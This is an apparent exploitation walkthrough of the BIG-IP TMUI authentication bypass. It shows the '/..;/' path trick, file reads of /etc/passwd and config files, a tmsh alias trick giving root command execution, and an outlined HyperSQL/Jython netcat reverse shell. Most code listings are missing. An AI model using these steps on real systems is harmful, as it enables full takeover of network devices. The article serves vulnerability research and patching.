Security hole in BIG-IP. Exploiting a new vulnerability in F5 products

BIG-IP includes various modules running under Traffic Management Operating System (TMOS). One of these modules, Local Traffic Manager (LTM), handles application traffic, protects the network infrastructure, and balances the local load. LTM can be flexibly configured using the Traffic Management User Interface (TMUI). This is where the above-mentioned vulnerability was discovered.

Mikhail Klyuchnikov, a Security Researcher at Positive Technologies, was the first to identify the bug. The vulnerability originates from incorrect URI normalization during the request processing. An attacker can bypass the Traffic Management User Interface authentication and gain access to system functions intended only for the admin. As a result, the attacker can execute arbitrary commands on the target system on behalf of the superuser (i.e. completely compromise the server).

Test System

Since BIG-IP is a commercial product, no docker containers are available. The easiest way to deploy a test system is to download the 30-day trial version called BIG-IP VE (Virtual Edition). To do so, you have to create an account on the F5 website. After the registration confirmation, navigate to the Downloads section.

I will use the most recent vulnerable version: 15.1.0.3. BIG-IP can be downloaded in several variants; I need a VM image in the OVA format. Several download locations are available; so, you can select the one that suits you best.

You can also use my link to download the image. I can’t say how long will it live, but at the time of writing, it was working fine.

After downloading the image, I import it into the virtualization program. I use VMware, but VirtualBox would work fine, too.

The import is successful, and I load the virtual machine. Then I see the authentication request.

The default superuser password is default (you will be immediately offered to change it). Now I can check the IP address of the virtual machine.

I open the browser, navigate to this IP, and see the TMUI authentication form.

The test system is ready.

Vulnerability details

I return to the console. Let’s find out what web server is listening on port 443.

This is an ordinary httpd daemon; apparently, it’s used as the front-end that proxies requests somewhere else. So, I search the configuration files for the ProxyPass directive.

The file /etc/httpd/conf.d/proxy_ajp.conf contains plenty of interesting stuff.

/etc/httpd/conf.d/proxy_ajp.conf

The file name and content indicate that the AJP protocol is used to transmit requests to a Tomcat web server (for more information on this protocol, see the article about an RCE vulnerability in Apache Tomcat).

But first of all, I have to check how is the URI transmitted to Tomcat. I suggest reviewing a detailed study by Orange Tsai examining path normalization in various applications; it was presented at Black Hat USA 2018 and DEF CON 26 (PDF). The study includes a section dedicated to Tomcat where the /..;/ construct is used to exit a directory, bypass some rules, and access files containing important information. This becomes possible because the web server interprets /..;/ as a folder name, while Tomcat interprets it as a relative path up the tree leading to the parent directory.

To check whether the bug is working in this particular case, I try reading a file that isn’t accessible under normal circumstances. The list of such files can be found, for instance, in the TMUI config: /usr/local/www/tmui/WEB-INF/web.xml.

/usr/local/www/tmui/WEB-INF/web.xml

I try to read viewset.jsp using a simple request.

Expectedly, I am redirected to the authentication page. Then I try to read the file using the /..;/ construct.

The viewset.jsp script is successfully executed, and the server returns the result.

Now I can read any pages and execute servlets that don’t validate the user session inside them.

What information can be found in TMUI? The most interesting stuff is stored in the directory /usr/local/www/tmui/WEB-INF/. The compiled servlets are stored there as well. Accordingly, I will need JD-GUI to decompile them. The easiest way is to ZIP the /usr/local/www/tmui/WEB-INF/ directory and open it in JD-GUI.

As said above, the list of endpoints can be found in the file /usr/local/www/tmui/WEB-INF/web.xml. Their number is pretty large; so, I will describe only the most interesting ones discovered after the public release of the vulnerability.

The first one is /tmui/locallb/workspace/fileRead.jsp.

/usr/local/www/tmui/WEB-INF/web.xml

WEB-INF/classes/org/apache/jsp/tmui/locallb/workspace/fileRead_jsp.java

The servlet allows to read arbitrary files if fileName is transmitted in the parameter. Of course, I try to read the canonical /etc/passwd.

Success! The server returns the file content.

I suggest reading the following files:

• /etc/hosts – IP addresses of the BIG-IP infrastructure;
• /config/bigip.conf – BIG-IP configuration variables; and
• /config/bigip.license – information on the current BIG-IP license.

This list can be continued – I have no doubt that you know at least several dozen interesting files that deserve to be read. To make our lives even easier, the following exciting servlet comes to help: /tmui/locallb/workspace/directoryList.jsp.

/usr/local/www/tmui/WEB-INF/web.xml

It takes the directoryPath parameter as input and returns the listing of the specified directory as the output.

WEB-INF/classes/org/apache/jsp/tmui/locallb/workspace/directoryList_jsp.java

Furthermore, the content of the directories is displayed recursively.

However, if the script encounters files or folders inaccessible to the current user, the server returns the 500 Internal Server Error.

As you probably noticed, all the above methods used to read files and directories are called from the following class:

The behavior of WorkspaceUtils.listDirectory and WorkspaceUtils.readFile is quite understandable; however, to get an idea of the next servlet, you have to examine this class in more detail. The WorkspaceUtils class is stored in a .jar file located at:

I decompile it in JD-GUI.

Time to examine the most exciting servlet: /tmui/locallb/workspace/tmshCmd.jsp.

/usr/local/www/tmui/WEB-INF/web.xml

WEB-INF/classes/org/apache/jsp/tmui/locallb/workspace/tmshCmd_jsp.java

The servlet accepts the command parameter as input and passes it to the method WorkspaceUtils.runTmshCommand. This class has already been decompiled; so, I check what runTmshCommand is doing.

WEB-INF/lib/tmui.jar/com/f5/tmui/locallb/handler/workspace/WorkspaceUtils.java

As you can see, the string transmitted in command is parsed and then Syscall.callElevated is called. This method, in turn, calls the Syscall.TMSH command with elevated privileges.

WEB-INF/lib/tmui.jar/com/f5/tmui/util/Syscall.java

The com.f5.mcp.schema.ltm.ShellCommandT class is stored in the file f5.rest.mcp.schema.jar. I decompile and examine it.

usr/share/java/rest/libs/f5.rest.mcp.schema.jar/com/f5/mcp/schema/ltm/ShellCommandT.java

TMSH (Traffic Management SHell) is a bash-like utility for administering BIG-IP. It can be used to automate commands and processes, create your own commands or sets of commands, execute custom scripts in TCL, and implement various server behavior scenarios, including reboot and shutdown. Isn’t this great? Taking that all these operations are performed with superuser privileges, the servlet becomes an invaluable vulnerability exploitation tool.

WEB-INF/lib/tmui.jar/com/f5/tmui/util/Syscall.java

I display the list of BIG-IP admins using the tmsh list auth user admin command.

Then I perform the same operation using the vulnerability.

But there is more! After reviewing the TMSH documentation, I discovered the bash command in the util module.

This command calls bash in the required context, and all flags present in the ‘regular’ bash are available here.

Any command in the util module can be called either with run or directly from the command line.

• run /util bash -c id
• bash -c id

However, if you try to implement any of these variants using the vulnerability, the server will return the Rejected Tmsh Command error.

This is because the tmshCmd_jsp servlet undergoes several checks prior to executing a command.

WEB-INF/lib/tmui.jar/com/f5/tmui/locallb/handler/workspace/WorkspaceUtils.java

The ShellCommandValidator.checkForBadShellCharacters method checks the presence of prohibited characters in the string. The blacklist includes & ; ' \ " | * ? ~ < > ^ ( ) [ ] { } $ \n \r and a backtick.

WEB-INF/lib/tmui.jar/com/f5/form/ShellCommandValidator.java

But this is not the main problem. What really reduces the scope is the second part of the condition: validation of the performed operation.

As you can see, only four TMSH commands can be executed: create, delete, list, and modify. This is where aliases come to help. Similar to bash, you can create aliases for commands in TMSH to avoid typing them every time. The cli alias module is responsible for this. There are two alias types: shared and private. They differ by the visibility scope: shared aliases are available throughout the system, while private ones are restricted to the current user. Aliases can be viewed, deleted, and created using the list, delete, and create commands, respectively.

So, I have to create an alias for the bash command and specify any of the permitted operations as its name. I strongly recommend to make such aliases private and delete them immediately after executing the required command to avoid interfering with the ‘normal’ operation of the system. My plan is as follows.

I use the command create cli alias private modify command bash to create in the user’s visibility zone an alias that calls the bash command and whose name is modify.

Now modify -c id can execute the required command. In my case, it is id.

Then I delete this private alias with the command delete cli alias private modify to avoid any problems in the future.

This sequence of operations can be easily automated. Ready-to-go solutions are available on GitHub, including a special Metasploit module.

By the way, this RCE technique was discovered later. In his initial report, Mikhail Klyuchnikov suggested a more interesting command execution method involving the HyperSQL Database. Let’s examine it in more detail.

RCE via HyperSQL

BIG-IP uses the HyperSQL Database. The httpd daemon uses the /hsqldb URI to proxy requests sent to the servlet interacting with this database.

/etc/httpd/conf.d/proxy_ajp.conf

Of course, this address can be accessed only after the authentication, but you already know how to bypass it.

HyperSQL makes it possible to interact with the database over HTTP(S). The connection procedure is described in the documentation. By default, the user is SA and the password is blank.

I am going to create a PoC that will make simple requests to the database. First of all, I need the right HSQLDB library (ZIP). Then I add the following string to the hosts file:

Of course, you must insert the IP address of your VM into this string. This is required to avoid hassle with SSL certificates in Java. The address that makes it possible to bypass the authentication must be specified as the URL for connection to the database.

/hsqldb-poc-rce/src/com/f5rce/Main.java

Then I specify the username and password.

/hsqldb-poc-rce/src/com/f5rce/Main.java

Connecting to the database.

/hsqldb-poc-rce/src/com/f5rce/Main.java

Time to make a simple request.

/hsqldb-poc-rce/src/com/f5rce/Main.java

The returned result is displayed in the console.

/hsqldb-poc-rce/src/com/f5rce/Main.java

The database documentation includes inter alia the description of the CALL function that allows to call external Java functions.

First of all, I check classpath (i.e. paths used to load libraries):

/hsqldb-poc-rce/src/com/f5rce/Main.java

Tomcat uses similar paths, which is good because the list of potentially dangerous methods is pretty long. The attacker’s goal is to find a method with the static modifier (i.e. the one that can be called without creating a class object). Mikhail Klyuchnikov discovered a suitable method:

It’s located in the file /usr/local/www/tmui/WEB-INF/classes/tmui.jar that I have already decompiled.

WEB-INF/lib/tmui.jar/com/f5/view/web/pagedefinition/shuffler/Scripting.java

The method executes Jython code and returns an object instance of org.python.core.PyObject. Jython is a Java implementation of the Python language; so, I have to use correct syntax for it. The code will be executed using Runtime.getRuntime().exec(). For convenience purposes, netcat with the support of the -e flag is installed in BIG-IP by default. Using this utility, I create a backconnect.

/hsqldb-poc-rce/src/com/f5rce/Main.java

Vulnerability demonstration (video)

Conclusions

The examined vulnerability proves once again that even such a minor problem as incorrect path normalization can lead to severe consequences. If you have a good understanding of the application infrastructure and know capabilities of its tools, you can gain full control over a BIG-IP VM. Needless to say that a compromised system may cause plenty of problems, especially if all network traffic goes through this system.

After the discovery of the vulnerability, the F5 developers offered a number of temporary solutions pending the release of a fully functional patch. Unfortunately, some of these solutions are ineffective and don’t provide adequate protection against malefactors. Therefore, I strongly recommend upgrading the application to a version where this problem is fixed.